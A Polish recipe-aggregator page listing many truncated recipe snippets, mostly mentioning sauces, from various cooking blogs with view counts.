śliwek i malin z wytrawnym winem i lekką nutą goździków doskonale pasuje do mięs, zwłaszcza tych dzikich. Wystarczy tylko wybrać dobre białe wino (niezbyt kwaśne), żeby mieć gwarancję, że sos się uda. Oczywiście, nie trzeba go stosować tylko do mięs - zastosowania jak zwykle ogranicza tylko wyobraźnia

Milion Smaków
quesadilla z pieczarkami 168

tortilli. Lekko dociskamy dłonią, gdy tortilla od spodu zrumieni się, przewracamy delikatnie na drugą i chwilkę podsmażamy. Gotową przekładamy na np. deskę i kroimy na trójkąty. Podajemy np. z sosem czosnkowym. Zapisz

Domowy Smak Jedzenia
udka kurczaka w przyprawie paella z orzechami pieczone... 228

piec pod przykryciem 50 minut, następnie bez przykrycia na termoobiegu 160 C z 5 minut kurczak jest bardzo smaczny i na ciepło i na zimno, z tłuszczyku można zrobić sos lub polać nim ziemniaki...................SMACZNEGO

W Mojej Kuchni Lubię
Prosta sałatka paprykowo – pomidorowa do grilla i nie tylko 683

Prosta sałatka paprykowo – pomidorowa do grilla i nie tylko! Można ją dowolnie modyfikować podając np. z różnymi sosami, bądź wzbogacając o inne warzywa. Zobacz również inne przepisy na sałatki na grilla tutaj -> Sałatki do grilla. Prosta sałatka paprykowo – pomidorowa do grilla – Składniki: 1 duża czerwona papryka pół zielonej papryki 1 mała […] The post Prosta sałatka

Kulinarne Przeboje
Tortilla z makaronem i tuńczykiem 276

SKŁADNIKI: 4 gniazdka makaronu MALMA capellini 6 placków tortilli 1 puszka tuńczyka (jak kto woli w oleju lub w sosie własnym- odsączyć) 150 g mix sałat garść marynowanych mini cebulek garść festy pokrojonej w małą kastke serek kanapkowy około 150 do 200 g 6 plasterków ulubionej wędliny (ja wybrałam baleron) PRZYGOTOWANIE: Makaron ugotuj według zaleceń prodecenta. Tortille posmaruj serkiem kanapkowym

ClauditteMissCooking
Szaszłyki z polędwiczki wieprzowej marynowanej w jogurcie naturalnym i świeżej kolendrze 235

gotujemy w osolonej wodzie lub na parze, do czasu, aż będzie miękka. Szaszłyki z polędwiczki wieprzowej podajemy na fasolce szparagowej skropionej oliwą z oliwek, a w małej kokilce podajemy sos jogurtowo-kolendrowy. Smacznego

W kuchni Katie
Cukinia i pomidory faszerowane mięsem mielonym 200

szybki i bardzo smaczny obiad. Wystarczy wydrążyć warzywa, mięso podsmażyć, a na sam koniec zapiec cukinię i pomidora wraz z dodatkiem mielonego farszu. Takie danie świetnie smakuje podane z sosem pomidorowym i świeżą bazylią.  Składniki na 4 porcje: 2 młode cukinie 2 duże pomidory, np. malinowe około 0,4-0,5 kg mięsa mielonego, np. z szynki 1 cebula

Ugotować
Leśna sałatka z czerwoną quinoą 187

ugotowaną quinoę, pokrojoną w piórka cebulę i zielony pieprz oraz prawdziwki, które należ wcześniej pokroić w plasterki i podsmażyć na klarowanym maśle. Całość doprawiamy niewielką ilością soli i polewamy sosem z oleju i octu. Smacznego

Quinoa Raz!
SOS PAPRYKOWY Z POMIDORAMI 181

papryki mielonej 2 liście laurowe Wykonanie: Paprykę pozbawić gniazd nasiennych,( w papryczce chili nasiona można zachować),pokroić w mniejsze kawałki,  zblendować.Do dużego garnka włożyć wszystkie składniki, gotować ( sos tylko pyrka) ok 1,5 godz. Po tym czasie gorący nakładać do słoiczków

Z Majeczką w kuchni
Rigati z Pancettą i sosem Carbonara 158

cebuli pokrojonej drobno w kostkę 1 czerwona cebula pokrojona w kostkę 1/2 szczypiorku pokrojony drobno 3 większe grzyby  "boczniaki" 4 łyżki oliwy z oliwek Parmezan 4 łyżki Sos Carbonara (znajdziecie przepis na moim blogu w innym daniu link niżej https://violagotuje.blogspot.co.uk/2016/07/cannelloni-carbonara-z-kurkami-w-boczku.html Sposób: Makaron gotujemy wedle przepisu. Myjemy piersi z kurczaka ,osuszamy i kroimy na większe kawałki. Podsmażamy

Viola cooks with passion
Sałatka meksykańska z tuńczykiem i czerwoną fasolą 254

Pyszna sałatka z tuńczykiem którego uwielbiam do tego fasola,papryka ,kukurydza,ogórki ... pycha-polecam! Składniki: puszka kukurydzy, puszka fasoli czerwonej tuszka tuńczyka (w oleju lub sosie własnym-jak wolicie) czerwona lub zielona papryka średnia czerwona cebulka 3 ogórki kiszone(dla wyraźniejszego smaku można zamienić je na korniszony) 3-4 majonez  2 łyżki ketchupu słodka i ostra papryka mielona sól

Swojskie jedzonko
Sałatka z cappelletti i brokułem na ostro 199

Cappellatti z prosciutto * 2 filety z kurczaka 1 średni brokuł 1 średni por 1 puszka kukurydzy 2 łyżeczki czerwonej pasty curry 2-3 łyżki oliwy 1/2 łyżeczki cukru sól Sos 3 łyżki gęstego jogurtu naturalnego 4-5 łyżek majonezu Instructions Makaron Capellatti gotujemy według przepisu na opakowaniu w lekko osolonej wodzie. Odcedzamy, przelewamy zimną wodą i odstawiamy. Brokuł dzielimy

Wędrówki po kuchni
Sałatka z kaszą gryczaną 218

drobną kostkę. Ser żółty ścieramy na tarce, na dużych oczkach. Przygotowane tak składniki łączymy ze sobą i kaszą.  Ocet roztrzepujemy z oliwą sola i pieprzem. Polewamy sałatkę sosem i posypujemy natką pietruszki

Qchnia po prostu
Domowe bajgle z kurczakiem w sezamie i konfiturą z czerwonej cebuli 281

tłuszczu na ręczniku papierowym. Możemy zabierać się za składanie bajgli! :) Tak naprawdę możecie dodać do nich wszystko, ale nasze wyglądały następująco: bajgle przekrawamy na połowę spód smarujemy ulubionym sosem lub ketchupem nakładamy odrobinę pokrojonej sałaty lodowej nakładamy kurczaka w sezamie nakładamy kawałek pomidora nakładamy sporą ilość konfitury z czerwonej cebuli Całość można podrasować jeszcze miodowym dressingiem (2 łyżki oliwy

Cooking Monster
KROKIETY Z PARÓWKĄ I SEREM 211

Uwielbiam krokiety, dlatego z pozostałych naleśników po obiedzie postanowiłam zrobić krokiety z parówką i serem. Można podać je z ketchupem albo ulubionymi sosami. Składniki: Usmażyć naleśniki  (przepis tutaj) * parówki * plasterki sera żółtego * jajko do obtoczenia * bułka tarta do panierki * olej do smażenia Wykonanie: Usmażyć naleśniki, wystudzić. Na każdego naleśnika położyć plasterek sera

Zrób to smacznie
Pstrąg z jabłkami zapiekany w cydrze 187

rybka - pstrąg ! Do tego zapieczone cząstki jabłek i moje podniebienie miało w porze obiadowej istną orgię smaków :) Rybka była też wyborna na zimno , po nocnym leżakowaniu w lodówce. Z sosu cydrowego zrobiła się pyszna, zwarta galareta, a rybka wyśmienicie zamarynowała się w cydrowych smakach. Do kromki świeżego, domowego chleba na lekką kolację - wprost delicje ! :) Składniki dla 2 osób: 2 pstrągi

Grunt to przepis!
DOMOWE OLIWY SMAKOWE 156

pieprzu zamiast pomidorów suszonych Wykonanie: Pomidora, ząbki czosnku oraz liście bazylii zalewamy oliwą, odstawiamy aby przegryzła ona smaki. Po kilku dniach mamy pyszną aromatyzowaną oliwę np do sałatek i sosów. **DOMOWA OLIWA ROZMARYNOWA: Składniki: 2 gałązki rozmarynu kilka ziarenek kolorowego pieprzu 250 ml oliwy  z oliwek Wykonanie: Do szklanej butelki wkładamy gałązki rozmarynu, wrzucamy ziarenka pieprzu, zalewamy oliwą. Odstawiamy

Z Majeczką w kuchni
Cannelloni z dynią i pieczarkami 137

ilości różnych kompozycji nadzienia. Dziś wersja wegetariańska z wykorzysytaniem sezonu na dynię. Dynia bardzo dobrze komponuje się z pieczarkami, więc nadzienie jest proste i smaczne. Do tego dobrze przyprawiony sos pomidorowy i mamy całe danie

Milion Smaków
Domowa warzywna "kostka" rosołowa 165

też ma ogromne znaczenie. W wyniku tego całego procesu codziennego gotowania musicie, po portu musicie przygotować choć raz w życiu te bardzo prostą bazę do zup i sosów. Potrzebujemy: 200 g korzenia selera 250 g marchewki 100 g pora 50 g cebuli 100 g pomidorów 1 ząbek czosnku 100 g pieczarek 1 liść laurowy 6 gałązek ziół, jakie macie

MamaOskarka
Gulasz z dziczyzny 222

ogrodu, ale możecie dodać 1 łyżeczkę maggi w płynie. Gotować mięso na jak najmniejszym ogniu, tak długo aż mięso będzie bardzo miękkie. Mięso rozpadało się w ustach a sos pyszny. Polecam

Kuchnia Pokoleń
Tortille z indykiem 287

Składniki: 40 dkg fileta z indyka sól, pieprz, czubrica czerwona, słodka i ostra papryka 4 tortille 30 cm Fanex 2 pomidory 1 ogórek sałata lodowa ketchup sos 1000 wysp Fanex i … Czytaj dalej Tortille z indykiem

czarrna od kuchni
Zacznij zdrowo nowy dzień- Koktajl z odkwaszającą i leczniczą kaszą jaglaną 161

filtrowanej wody do moczenia, 2 litry filtrowanej wody. Z podanych składników otrzymasz około 1,5 l mleka migdałowego oraz migdałową masę, którą możesz wykorzystać do pieczenia ciast, ciasteczek, zagęszczenia sosu, dodać do kotletów warzywnych lub pasztetu. Migdały ze względu na neutralny smak mogą być dodawane niemal do wszystkiego. Wykonanie 1. Migdały zalej wodą i zostaw na noc. Po namoczeniu odcedź

w mojej kuchni
Domowy sok pomidorowy; domowy koncentrat pomidorowy (przecier pomidorowy) 162

momentu uzyskania odpowiedniej gęstości.  Przelewam do wyparzonych, gorących słoików, szczelnie zakręcam i odwracam do góry dnem. Nie zagotowuję słoików. Takie przetwory idealne są do zupy pomidorowej czy jako sos do spaghetti, gołąbków lub lasagne.  SMACZNEGO

Wielopokoleniowo
Pasta z tuńczyka 284

chleba. Jej delikatny smak i wilgotna konsystencja sprawia, że nawet dzieci jedzą ją z ochotą. Polecamy! Ilość porcji: 8 – 12 Czas przygotowania: 10 minut Składniki: Puszka tuńczyka w sosie własnym o wadze 180g (po odsączeniu zostaje 130g tuńczyka) 130g serka naturalnego śmietankowego Łyżka jogurtu naturalnego Łyżka majonezu Szczypiorek Kolorowy pieprz W misce umieszczamy odsączony tuńczyk, następnie dodajemy serek, majonez, jogurt

Kolizje Smaków
Prosty przecier pomidorowy ( bez długiego gotowania ). 463

słoika wsyp po jednej płaskiej łyżeczce soli. Słoiki szczelnie zamknij. Pasteryzuj przez 15- 20 minut. Przechowuj w chłodnym, ciemnym miejscu.   Przed dodaniem pomidorów np. do zupy czy sosu wystarczy je dokładnie zmiksować np. za pomocą miksera na jednolitą papkę. Gotowe.  J eśli chcesz, możesz wszystkie obrane ze skórki pomidory zmiksować, osolić, napełnić nimi słoiki i za pasteryzować

Przepisy i porady kulinarne
Grzyby na obiad wg przepisu mojej babci 192

grzyby będą wystarczająco miękkie. Uwagi: Ja jadam grzyby w taki sposób, bo bardzo lubię ich smak, jednak wiele osób woli bardziej płynną formę z dodatkiem śmietanki do zup i sosów. Możecie spróbować obu sposobów i sami zdecydować, jak Wam bardziej smakuje

Passions hobbies life
Pęczak po staropolsku 210

doprawiony pęczak stanowi świetny dodatek do mięsa wszelkiego rodzaju. Ja pałaszowałam go w towarzystwie Gulaszu wyraźnie przyprawionego od Pamapol . Gulasz - mocno mięsny, z dodatkiem cebuli, w gęstym i aromatycznym sosie - idealnie łączył się z niekonwencjonalnie przyrządzonym pęczakiem. Do szczęścia dołożyłam tu jeszcze kilka buraczków w occie domowej roboty i poczułam się jakbym zasiadła do staropolskiego, biesiadnego stołu :) Składniki na porcje

Grunt to przepis!
Śledzie z rodzynkami 167

Przepis na pyszne śledzie w lekko słodkim sosie z rodzynkami i cebulą. Świetnie sprawdzą się na wszelkiego rodzaju imprezach. Składniki: ok 700 g śledzi a la matias 2 duże cebule pół szklanki oleju pół szklanki octu winnego 100 g rodzynek 180 g przecieru pomidorowego po kilka liści laurowych, ziaren pieprzu i ziela angielskiego Przygotowanie Śledzie zalewamy wodą i moczymy około

e-PrzepisyKulinarne
Kotleciki z karpia 189

mąki kukurydzianej i bułki tartej. Smażymy na rozgrzanym oleju na złoty kolor i odkładamy na chwilę na papierowy ręcznik, żeby pozbyć się nadmiaru oleju. Podajemy z ziemniakami i dowolnym sosem. Zapraszam również na karpia w innej postaci: Karp pieczony - najlepszy Karp w kukurydzianej panierce

Trzeci talerz
Małże w sosie curry 214

zwykle prosty i szybki w przygotowaniu przepis na mule w aromatycznym sosie. Dzisiaj z przyprawą curry, mlekiem kokosowym i świeżą kolendrą, czyli z pikantną azjatycką nutą. Składniki: 1 kg świeżych oczyszczonych małży cebula lub 2 szalotki 2 ząbki czosnku 2 łyżeczki sproszkowanego curry 1/2 łyżeczki kurkumy szklanka mleczka kokosowego papryczka chilli garść listków kolendry 2 łyżki masła limonka sól Cebulę

wyzwania kuchenne
Ketchup z cukinii 194

przygotowania domowego ketchupu. Do jego przyrządzenia będziecie potrzebować tylko kilka składników: cukinii, cebuli, koncentratu pomidorowego, octu, cukru i przypraw. Poniższy ketchup będzie idealny na kanapki, zapiekanki lub jako sos do posmarowania spodu pizzy. Na sam koniec dodam, że ketchup jest pyszny w smaku :) Składniki: 1,5 kg cukinii (waga po obraniu ze skórki i usunięciu miąższu) 0,5 kg obranej

Ugotować
Zapiekanka z cukinią i serem feta 692

Wszystkie składniki delikatnie wymieszać ze sobą. Formę do pieczenia posmarować masłem, wylać masę. Piec około 60-70 minut w 180ºC (aż do zarumienienia tarty). Podawać na ciepło, np. z sosem pomidorowym. Ścieranie cukinii Mieszanie wszystkich składników Tarta przed i po upieczeniu Pomysł na przepis STĄD

Ugotować
Schab w papryce 185

szklanki wody. Dusimy pod przykryciem przez około 15 minut, po czym zdejmujemy pokrywkę i pozwalamy wodzie wyparować. Po tym czasie papryka powinna być już miękka. 3. Do powstałego sosu dodajemy koncentrat pomidorowy. Dusimy jeszcze chwilę

Szefowa kuchni
Leczo z cukinią na zimę 1508

minutach pomidory. Doprawiamy leczo solą i pozostałymi przyprawami, doprowadzamy do wrzenia. Zmniejszamy ogień i gotujemy mieszając od czasu do czasu, aż pomidory się rozpadną, a sos nieco zgęstnieje. Będzie to trwało około 30-60 minut. Gotowe leczo przelewamy do słoików, zalewamy 1-2 łyżkami oleju i mocno zakręcamy. Pasteryzujemy 30 minut. Z tej porcji wychodzi tak plus minus 4 słoiki

Ewusiowe Smaki
Majerankowa ciecierzyca do chrupania. 199

wieczornego chrupania przed tv lub po prostu do piwka ;-) Do przygotowania przekąski użyłam produktów ze sklepu LIDL POLSKA . Składniki; słoik ciecierzycy (do kupienia w sklepie LIDL) kilka kropli sosu chili ( do kupienia w sklepie LIDL) sól, majeranek do smaku 2-3 łyżki oliwy z oliwek (do kupienia w sklepie LIDL) Przygotowanie; Ciecierzycę należy odcedzić na sitku, Do miski wlać oliwę

Radość kipiąca uśmiechem.
PULLED PORK – SZARPANA WIEPRZOWINA + test szybkowaru Gerlach 374

wydostanie się cała para – wtedy bezpieczne możemy otworzyć szybkowar. Tak przygotowane mięso rwiemy i podajemy z ulubionymi dodatkami. Świetnym pomysłem jest np. świeża chrupiąca bułka, ulubione warzywa oraz sos albo meksykańskie tortille z ulubionymi dodatkami. Smacznego! PODSUMOWUJĄC: Szybkowar Gerlach spisał się na medal! Danie przygotowałam dosłownie w 1/4 czasu potrzebnego do przygotowania go w normalnych warunkach ( w piekarniku albo

Ostra na Słodko
Sałatka z zupek 265

Składniki: 3 zupki chińskie 400 g fileta z indyka 1 czerwona papryka 1/2 pora 3 ogórki kiszone 1 puszka kukurydzy 2 łyżki majonezu 3 łyżki sosu czosnkowego Fanex sól, pieprz, … Czytaj dalej Sałatka z zupek

czarrna od kuchni
Pasztet ze śliwką 169

Pasztet ze śliwką Wydrukuj przepis Czas przygotowania: 90 minut Potrzebujesz: 150g zielonej soczewicy 150g kaszy jaglanej 100g oleju kokosowego 3 cebule 10-15 suszonych lub wędzonych śliwek 3 łyżki sosu sojowego 2 liście laurowe 1 ziele angielskie 1 goździk 1 jałowiec 1 łyżeczka lubczyku 1 łyżeczka cząbru po dużej szczypcie gałki muszkatołowej i cynamonu sól i pieprz do smaku Wykonanie

Blendman
Pieczone placki ziemniaczane z pieczarkami 373

Wariacja na temat tradycyjnych placków ziemniaczanych. Takie placki podaję z sosem czosnkowym. Składniki: 7-8 sporych ziemniaków cebula 200 g pieczarek jajko 3 łyżki mąki po pół łyżeczki curry i wędzonej papryki sól, pieprz Przygotowanie Cebulę i pieczarki kroimy w kostkę i podsmażamy na patelni. Ziemniaki ścieramy na tarce o grubych oczkach. Odciskamy z nich wodę, dodajemy pieczarki z cebulą

e-PrzepisyKulinarne
Kurczak Balti 177

ViolaPassions Kurczak w sosie balti z chlebem Naan Sklad : 3 łyżki oleju z warzyw (nie slonecznikowy nie rzepakowy ) 2 średnie cebule 3 pomidory bez skórek posiekane (moga byc z puszki ) 1/2 łyżki Kalonji nasiona 4 ziarnka pieprzu 2 zielone nasiona kardamonu 1 laska cynamonu 1 łyżka chilli pudru 1 lyzka garam masala (mieszanka zielonych ziół) 1 lyzka czosnkowej pasty

Viola cooks with passion
Zupa krem pomidorowa na baraninie 221

ViolaPassion Zupa krem na baraninie z pomidorami Szybka do zrobienia i przyjemna do zjedzenia  Sklad:  Okolo 300 dag baraniny najlepiej schab  Puszka pomidorow w sosie  Cebula  Marczew Swierza koledra kilka listkow  Czosnek do smaku  Odrobina smietany soli pieprzu i do dekoracji pieruszka   Sposob: gotujemy okolo godziny mieso, w miedzy czasie wrzucamy cebule

Viola cooks with passion
TAJINE ( Tadżin) 153

staram się zostawić 24h przed szykowaniem Mięso super !!! Mega miękkie i nie pachnące w specyficzny sposób. CIEKAWOSTKi: *I w zależności z jakiego mięsa robimy nasze danie łącznie z sosem bedzie miało inny kolor.  *Do tej potrawy w Maroku używa się specjalnych  glinianych stożkowych garnków i gotuje się  to danie około 3 godzin na wolnym ogniu

Viola cooks with passion
Kanapka z Łososiem 187

Kanapunia z łososiem  warta grzechu. Uwielbiam to połączenie : Łosoś,pomidor,papryka żółta,czerwona ,majonez,jajka na pół twarde (gotujemy 4 min. od zagotowania wody) koperek,szczypior,sos musztradowy i oscypek

Viola cooks with passion
Fasolka po Bretońsku 198

łyżki koncentratu pomidorowego 2 szklanki wody natka pietruszki do dekoracji pieprz 3 szczypty Fasolka ja idę ostatnio na skróty i kupuję już gotową  w puszcze (5 sztuk) w sosie pomidorowym jest super,i nie pochłania tyle czasu nasze danie całkowity czas około godziny Sposób: Kiełbasę kroimy na pół wzdłuż i pozniej na mniejsze kawałki, Boczek w kostkę,cebulę

Viola cooks with passion
Taco Meksykanskie 214

Szybkie danie Czasem na lenia bo są takie dni u każdego człowieka  ;-) Składniki: Pieczywo TACO z sosem Poleca się wołowinę zmielona ja nie miałam  dziś  czasu na gotowanko i latanie po sklepach I dałam  karkówkę drobno pokrojoną około 500g usmażyłam wcześniej zamarynowałam w przyprawie do tego dania i cebuli czerwonej pokrojonej  w kostkę Dodałam

Viola cooks with passion
Wątróbka kurczeca 194

około  30-40 minut na wolnym ogniu pod przykryciem  jeśli  będzie  taka potrzeba dodajmy trochę wody  ale nie za dużo Bo chcemy mieć  sos własny  a nie jakiś  bulion. *Gdy wszytko nam się redukuje mamy czas by obrać  ziemniaczki i je wstawić gotując na sypko I robimy surówek Sposób

Viola cooks with passion
Roladki szparagowe z pastą Wasabi i karczochami 177

sztuki w boczku,i pieczemy około 30 minut w piekarniku program Fun 200C Prażymy pieczarki na patelni nie dodając oleju , Wszytko posypujemy parmezanem potartym na drobnych oczkach Sos Wasabi. W Polsce jest wręcz niedostępny korzeń wasabi (możemy już kupić pastę gotową )albo ja zrobić To nie jest nic innego jak Japoński chrzan więc śmiało możemy go zastąpić ścieramy

Viola cooks with passion
Śledzie w sosie musztardowym 174

ułożyć na półmisku. Cebulę pokroić w kostkę, przelać wrzątkiem na sicie by straciła ostrość. Śmietanę, majonez, musztardy, pokrojoną cebulę ,curry ,ocet,gorczycę i kurkumę wszytko wymieszać dokładnie. .Powstałym sosem zalać śledzie i wstawić na kilka godzin do lodówki. Smacznego

Viola cooks with passion
Zrazy wołowe 174

usmażyć z dwóch  stron. Usmażone roladki gotujemy w garnku na średnim  ogniu około 2 godzin. Dzięki  temu że wcześniej  usmazylismy nasze mięso  powstanie nam sos, który powstanie podczas długiego  procesu gotowania. Sól  i pieprz dodajemy pod koniec gotowania  nigdy przed . Polecam to danie z Kluskami Śląskimi  ,ziemniakami. Smacznego

Viola cooks with passion
Włoski Kurczak w pomidorach z krewetkami 167

oleju z dodatkiem masła  smażymy cebule,czosnek do zeszklenia. Następnie dodajemy szczypior ,pomidory. Sól,pieprz ,rozmaryn i wino białe. Redukujemy około  10 minut Następnie zalewamy piersi naszym sosem i gotujemy na małym ogniu 30 minut. Dodajemy krewetki i gotujemy około 5-6 min. Pod przykryciem. Makaron ugotowany odcedzamy hartujemy i pozostawiamy w zamkniętym pojemniku tuż przed podaniem kilka

Viola cooks with passion
Ravioli z ricotta i szpinakiem 158

Gotujemy  w osolonym wrzątku z dodatkiem oliwy z oliwek do momentu  aż wypłyną na wierzch.  Możemy  podać  ze śmietanka ,sałata posypanym parmezanem,czy  sosem pomidorowym  Smacznego

Viola cooks with passion
Mule w kurkach na białym winie 158

posiekanej Pietruszki na małym  ogniu pod przykryciem. Gdy kurki są  miękkie  dodajemy sól  i pieprz do smaku mieszamy i już. Wykładamy muszelki I polewamy naszym sosem z kurkami Smacznego

Viola cooks with passion
Zupa Tajska z kapustą Pak Choi i śmietaną kokosowa 291

czosnku przekrojonego na pół 1 korzeń imbiru przeciętny na pół 6 malutkich kukurydz 2 limonki (sok) 1 garść kiełków bambusa 6 łyżek śmietany kokosowej 2 łyżki masła 300 ml. sosu sweet Chilli 5 łyżek imbir&chilli 2 papryczki chilli pokrojona drobno 3 baby słodkie papryki pokrojone cienko Makaron ryżowy- gotujemy według przepisu na opakowaniu Sposób: Wyciskamy limonkę na owoce

Viola cooks with passion
Cannelloni Carbonara z kurkami w boczku 163

ViolaPassion Kolejna wspaniała  odsłona kurek. Nigdy wcześniej nie wyobrażałam sobie połączenia grzybów z makaronem. Zazwyczaj lądowały w sosie ,zupie ,pierogach śmietanie czy w occie. Dzięki konkursowi przełamałam swój stereotyp,i dziś wiem że cały czas trzeba łamać swoje przepisy po to by je ulepszać. Składniki: 350 g kurek 1/2 cebuli pokrojonej drobno w kostkę 2 ząbki czosnku przekrojony

Viola cooks with passion
Leczo z cukinią papryką i kiełbaską 173

jedna biała 300g pieczarek malutkich 5 listków laurowych 2 kostki rosołowe 1 litr wywaru 3 łyżki oliwy sól, pieprz do smaku 4 łyżki cukru bazylia,oregano do smaku sos pomidorowy ja uwielbiam włoski z ziołami 1 puszka pomidorów w zalewie Sposób: Kroimy w kostkę kiełbasę i boczek i smażymy na oliwie musi być spieczona  . W między czasie kroimy pozostałe

Viola cooks with passion
Pasztet z Sarny 176

bardzo miękkie Na małym ogniu pamiętajmy o  częstym mieszaniu czosnek możemy wycisnąć ja kroje zawsze drobno w kosteczkę Podczas smażenia mięso sarny wypuści soki nie zlewajcie wytworzy się sos własny Gdy mięso będzie mięciutkie na tyle ze palce będą się załamywać pod naciskiem wyciągamy mięso do studzenia i warzywa NASZ bulion zostawiamy będziemy go potrzebować Gdy bulion ostygnie namoczyć

Viola cooks with passion
Pieczone udko z kaczki 192

nadziewając jej w środku wcale nie oznacza że będzie sucha Ważnym cyklem w pieczonym daniu jest redukcja temperatury i od czasu do czasu podlewając ją tłuszczem i własnym sosem który wydobywa się podczas pieczenia. Smacznego. *Kochani nie wyrzucajcie gnatów które nam zostały za chwilę zrobimy z tego wspaniałą zupkę

Viola cooks with passion
MAKARON Z CUKINIĄ I SUSZONYMI POMIDORAMI 204

czosnek. Suszone pomidory pokrój w cienkie paseczki i dodaj do reszty. Możesz dolać trochę zalewy z pomidorów Na sam koniec dodaj śmietankę, sól i pieprz. Gotuj przez chwilę. Do sosu dodaj ugotowany i odcedzony makaron. Całość posyp startym parmezanem. Smacznego

Kukuleczki
Placki z cukinii 194

Wszystko mieszamy. Na patelni rozgrzewamy oliwę. Nakładamy łyżką placki. Smażymy aż będą  rumiane. Odsączamy na papierowym ręczniku.  Placki możemy podać z ulubionymi dodatkami, np z jogurtem naturalnym, sosem pomidorowym. SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Makaron z kurczakiem w sosie śmietanowym 191

Makaron z kurczakiem w sosie śmietanowym z curry idealny jako danie obiadowe do zrobienia w 20 minut i bez brudzenia góry garów, ze składników które każdy ma w domu. Czytaj więcej

Pychotkaaa
Kolorowa sałatka z tuńczykiem 422

stole. Kilka składników przełożonych warstwami daje fajne połączenie smakowe. 1/2 główki sałaty lodowej 200 g sera feta 2 pomidory 1 ogórek 1 puszka słodkiej kukurydzy 130 g tuńczyka w sosie własnym 3 jajka 10 zielonych oliwek z czosnkiem Zioła do sałatek Oliwa z oliwek Sałatę lodową rwiemy na kawałki. Pomidory, ogórka oraz ser feta kroimy w kosteczkę. Kukurydzę oraz tuńczyka

VioletoweKucharzenie
Ratatouille (ratatuj) 176

Ratatouille, zwane także bardziej swojsko ratatuj, to wegetariańskie prowansalskie danie. Najprościej rzecz ujmując są to po prostu warzywa duszone we własnym sosie. W sezonie, gdy warzywa są tanie i są wszędzie, jest to absolutnie obowiązkowa obiadowa pozycja. Podstawowe składniki to bakłażan, cukinia, pomidor i papryka. A reszta to już czysta fantazja. Przecież nikt nie zabroni Wam eksperymentować i dodawać tego

Marder&Marder Manufacture
Falafelki 239

Jedna kuleczka = ok. łyżeczka masy. Smażymy na głębokim oleju. Kuleczki wrzucamy dopiero na rozgrzany olej. Smażymy z obu stron na złoty kolor. Świetnie smakują podane z sojonezem lub innym sosem

Weganka gotuje
Krokiety z pikantnym farszem i parówką 218

Można podać je z ulubioną sałatką jako danie obiadowe lub jako przystawkę na przyjęciu. My polewamy je ketchupem i zajadamy ze smakiem, ale można do nich przygotować także sos czosnkowy lub inny na bazie jogurtu. Smacznego

Cooking Monster
Amarantus – czy warto włączyć go do diety? 175

krok w dobrą stronę. Ja osobiście jestem zakochany w mące z amarantusa. Świetnie rozrabia się ją z wodą, a z jej pomocą możemy wyczarować bardzo smaczne paciaje lub zagęścić sosy i zupy. Amarantus ekspandowany (popping) natomiast świetnie sprawdzi się na śniadanie w towarzystwie roślinnego mleka lub jako dodatek do deserów. Podsumowanie Amarantus , jak widać po wpisie, jest niesłychanie zdrowy

Blendman
Węgierska zupa gulaszowa. 982

Węgierskie słowo gulyas oznacza zupę. Dosyć gęstą, treściwą i mięsną, ale zawsze zupę, a nie potrawkę, czy sos. Pełna nazwa tej potrawy to gulyasleves lub bogracsgulyas . Sam bogracs jest kociołkiem zawieszanym nad ogniskiem, w którym tradycyjnie przygotowywało się takie potrawy. Określenia bogracsgulyas używa się czasami również wtedy, gdy zupa powstała w zwykłym garnku na kuchence. W Polsce przejęliśmy węgierskie słowa

zadanie-gotowanie
Makaron z truflami 185

rozpuścić masło, dodać 200 ml wody z gotowania makaronu, zagotować. Wlać zalewę z trufli, dodać makaron i zagotować delikatnie mieszając. Posypać połową sera, zamieszać. Makaron wyjąć na talerze, polać sosem, który pozostał na patelni. Posypać resztą parmezanu oraz truflami. zastawa

królestwo garów
6 przepisów śniadaniowych. Owsianki – pyszne i proste pomysły. 188

Pyszna jabłkowa owsianka z olejem kokosowym Zapiekana owsianka tofu Jagodowa owsianka z chia i ziarenkami 5 minutowa owsianka superfoods. Owsianka z berberysem, migdałami i karobem. Owsianka z gruszką w sosie daktylowym. Smacznego i miłego dnia

Słodkie okruszki
Focaccia z pomidorami i tymiankiem 186

Focaccia to danie z kuchni włoskiej. Trochę inna odmiana pizzy. Można przygotowywać ją z różnymi dodatkami, ziołami. Z sosem lub oliwą. Ja zrobiłam z pomidorami i tymiankiem, a na koniec zjedzona moczona w oliwie z oliwek. Ulubione danie mojego starszego syna i na Jego życzenie dzisiaj robiłam. Może i Wy skusicie się na takie pyszności? Składniki 400 g mąki pszennej

O kuchni z uczuciem
Błyskawiczne piątki - Grillowane kwiaty cukinii 158

oliwą i odłożyć na 20 minut do lodówki. Układać cukinie na tacce do grilla, grillować po 5-7 minut z obu stron tak by nadal były chrupiące. Podawać z sosem czosnkowym

Magiczne Życie Marty
Pyszne tarteletki z bitą smietaną i borówkami 151

wszędzie ale ostatnio widziałam w moim rejonie, że jeszcze sporo ich jest na jagodzinach. Maliny też się świetnie sprawdzą ale ja mam z borówkami. I do tego pyszny sos czekoladowy/ Rozwiń i czytaj przepis

Ewa w kuchni
Gulasz z dyni, podudzi kurczaka i makaronu 185

minut-aż warzywa i mięso będą miękkie, wsypuję suchy makaron, gotuję jeszcze 4 minuty, zabielam słodką śmietanką.  Zestawiam z ognia i czekam chwilę aż makaron dojdzie w sosie. Doprawiam ewentualnie jeszcze do smaku ziołami i mielonym chili.  Nakładam na talerz posypuję natką pietruszki i podaję.  Smacznego

Wanilia i Kardamon
PoLęDwiCzKi w sosie KurKoWym 279

Składniki dla 3 osób: 1 polędwiczka wieprzowa słoiczek musztardy francuskiej 200 g kurek masło oliwa z oliwek sól pieprz miód gałka muszkatołowa kasza bulgur Przygotowanie: polędwiczkę

Luźna Kuchnia
RYBA PO GRECKU 910

bułce tartej i usmażyć na głębokim tłuszczu ( najlepiej na maśle klarowanym). Jeśli wolisz zdrowszą wersję tego dania, rybę możesz ugotować na parze, wcześniej ją doprawiając solą i pieprzem. SOS: Cebulę pokroić drobną w kostkę odstawić. Warzywa zetrzeć na grubej tarce ręcznie lub za pomocą maszynki i odstawić. Cebulę podsmażyć na maśle/ oleju, po czym dodać do niej wszystkie warzywa

Calzonella.com
Kurczak w mascarpone i sokiem z pomarańczy 188

pieprzem i lubczykiem. Dodać pokrojone mięso  Cebulę pokroić i zeszklić na oleju z listkami laurowymi Kurczaka z serową marynatą przelać na patelnię i smażyć ok 15 min. Jeśli sos za bardzo zgęstnieje dodać więcej soku z pomarańczy.  Na końcu posypać posiekaną kolendrą lub natką i odrobiną chilli.. Smacznego

